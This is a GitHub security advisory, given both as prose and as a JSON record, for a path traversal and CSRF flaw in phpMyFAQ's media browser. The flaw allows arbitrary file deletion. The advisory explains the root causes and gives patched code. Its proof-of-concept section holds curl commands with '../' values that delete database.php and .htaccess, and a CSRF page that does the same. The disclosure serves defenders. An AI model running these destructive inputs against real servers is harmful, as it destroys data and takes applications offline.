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GHSA-38M8-XRFJ-V38X

Vulnerability from github – Published: 2026-04-01 22:30 – Updated: 2026-04-06 17:18
VLAI
Summary
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
Details

Summary

The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66:

#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);
    // ...
    $data = json_decode($request->getContent());
    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);

    if ($action === 'fileRemove') {
        $file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
        $file = PMF_CONTENT_DIR . '/user/images/' . $file;

        if (file_exists($file)) {
            unlink($file);
        }
        // Returns success without checking if deletion was within intended directory
    }
}

Root Causes: 1. No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters. 2. No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48. 3. No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory. 4. HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names:

if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
    // Rejects files with path traversal sequences
}

The FilesystemStorage::normalizePath() method also properly validates paths:

foreach ($segments as $segment) {
    if ($segment === '..' || $segment === '') {
        throw new StorageException('Invalid storage path.');
    }
}

PoC

Direct exploitation (requires authenticated admin session):

# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../.htaccess"}'

CSRF exploitation (attacker hosts this HTML page):

<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
  method: 'GET',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    action: 'fileRemove',
    name: '../../../content/core/config/database.php'
  }),
  credentials: 'include'
});
</script>
</body>
</html>

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

  • Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss).
  • Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files.
  • Data loss: Arbitrary file deletion on the server filesystem.
  • Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

  1. Add path traversal validation:
if ($action === 'fileRemove') {
    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');

    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
    }

    if (file_exists($targetPath)) {
        unlink($targetPath);
    }
}
  1. Add CSRF protection:
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
  1. Change HTTP method to POST or DELETE to align with proper HTTP semantics.
Severity
8.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34728"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:30:32Z",
    "nvd_published_at": "2026-04-02T15:16:41Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `MediaBrowserController::index()` method handles file deletion for the media browser. When the `fileRemove` action is triggered, the user-supplied `name` parameter is concatenated with the base upload directory path without any path traversal validation. The `FILTER_SANITIZE_SPECIAL_CHARS` filter only encodes HTML special characters (`\u0026`, `\u0027`, `\"`, `\u003c`, `\u003e`) and characters with ASCII value \u003c 32, and does not prevent directory traversal sequences like `../`. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.\n\n### Details\n\n**Affected File:** `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php`\n\n**Lines 43-66:**\n```php\n#[Route(path: \u0027media-browser\u0027, name: \u0027admin.api.media.browser\u0027, methods: [\u0027GET\u0027])]\npublic function index(Request $request): JsonResponse|Response\n{\n    $this-\u003euserHasPermission(PermissionType::FAQ_EDIT);\n    // ...\n    $data = json_decode($request-\u003egetContent());\n    $action = Filter::filterVar($data-\u003eaction, FILTER_SANITIZE_SPECIAL_CHARS);\n\n    if ($action === \u0027fileRemove\u0027) {\n        $file = Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS);\n        $file = PMF_CONTENT_DIR . \u0027/user/images/\u0027 . $file;\n\n        if (file_exists($file)) {\n            unlink($file);\n        }\n        // Returns success without checking if deletion was within intended directory\n    }\n}\n```\n\n**Root Causes:**\n1. **No path traversal prevention:** `FILTER_SANITIZE_SPECIAL_CHARS` does not remove or encode `../` sequences. It only encodes HTML special characters.\n2. **No CSRF protection:** The endpoint does not call `Token::verifyToken()`. Compare with `ImageController::upload()` which validates CSRF tokens at line 48.\n3. **No basename() or realpath() validation:** The code does not use `basename()` to strip directory components or `realpath()` to verify the resolved path stays within the intended directory.\n4. **HTTP method mismatch:** The route is defined as `methods: [\u0027GET\u0027]` but reads the request body via `$request-\u003egetContent()`. This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.\n\n**Comparison with secure implementation in the same codebase:**\n\nThe `ImageController::upload()` method (same directory) properly validates file names:\n```php\nif (preg_match(\"/([^\\w\\s\\d\\-_~,;:\\[\\]\\(\\).])|([\\.]{2,})/\", (string) $file-\u003egetClientOriginalName())) {\n    // Rejects files with path traversal sequences\n}\n```\n\nThe `FilesystemStorage::normalizePath()` method also properly validates paths:\n\n```php\nforeach ($segments as $segment) {\n    if ($segment === \u0027..\u0027 || $segment === \u0027\u0027) {\n        throw new StorageException(\u0027Invalid storage path.\u0027);\n    }\n}\n```\n\n### PoC\n\n**Direct exploitation (requires authenticated admin session):**\n```bash\n# Delete the database configuration file\ncurl -X GET \u0027https://target.example.com/admin/api/media-browser\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=valid_admin_session\u0027 \\\n  -d \u0027{\"action\":\"fileRemove\",\"name\":\"../../../content/core/config/database.php\"}\u0027\n\n# Delete the .htaccess file to disable Apache security rules\ncurl -X GET \u0027https://target.example.com/admin/api/media-browser\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=valid_admin_session\u0027 \\\n  -d \u0027{\"action\":\"fileRemove\",\"name\":\"../../../.htaccess\"}\u0027\n```\n\n**CSRF exploitation (attacker hosts this HTML page):**\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cscript\u003e\nfetch(\u0027https://target.example.com/admin/api/media-browser\u0027, {\n  method: \u0027GET\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({\n    action: \u0027fileRemove\u0027,\n    name: \u0027../../../content/core/config/database.php\u0027\n  }),\n  credentials: \u0027include\u0027\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen an authenticated admin visits the attacker\u0027s page, the database configuration file (`database.php`) is deleted, effectively taking down the application.\n\n### Impact\n\n- **Server compromise:** Deleting `content/core/config/database.php` causes total application failure (database connection loss).\n- **Security bypass:** Deleting `.htaccess` or `web.config` can expose sensitive directories and files.\n- **Data loss:** Arbitrary file deletion on the server filesystem.\n- **Chained attacks:** Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.\n\n\n### Remediation\n\n1. **Add path traversal validation:**\n```php\nif ($action === \u0027fileRemove\u0027) {\n    $file = basename(Filter::filterVar($data-\u003ename, FILTER_SANITIZE_SPECIAL_CHARS));\n    $targetPath = realpath(PMF_CONTENT_DIR . \u0027/user/images/\u0027 . $file);\n    $allowedDir = realpath(PMF_CONTENT_DIR . \u0027/user/images\u0027);\n\n    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {\n        return $this-\u003ejson([\u0027error\u0027 =\u003e \u0027Invalid file path\u0027], Response::HTTP_BAD_REQUEST);\n    }\n\n    if (file_exists($targetPath)) {\n        unlink($targetPath);\n    }\n}\n```\n\n2. **Add CSRF protection:**\n```php\nif (!Token::getInstance($this-\u003esession)-\u003everifyToken(\u0027pmf-csrf-token\u0027, $request-\u003equery-\u003eget(\u0027csrf\u0027))) {\n    return $this-\u003ejson([\u0027error\u0027 =\u003e \u0027Invalid CSRF token\u0027], Response::HTTP_UNAUTHORIZED);\n}\n```\n\n3. **Change HTTP method to POST or DELETE** to align with proper HTTP semantics.",
  "id": "GHSA-38m8-xrfj-v38x",
  "modified": "2026-04-06T17:18:35Z",
  "published": "2026-04-01T22:30:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34728"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController"
}



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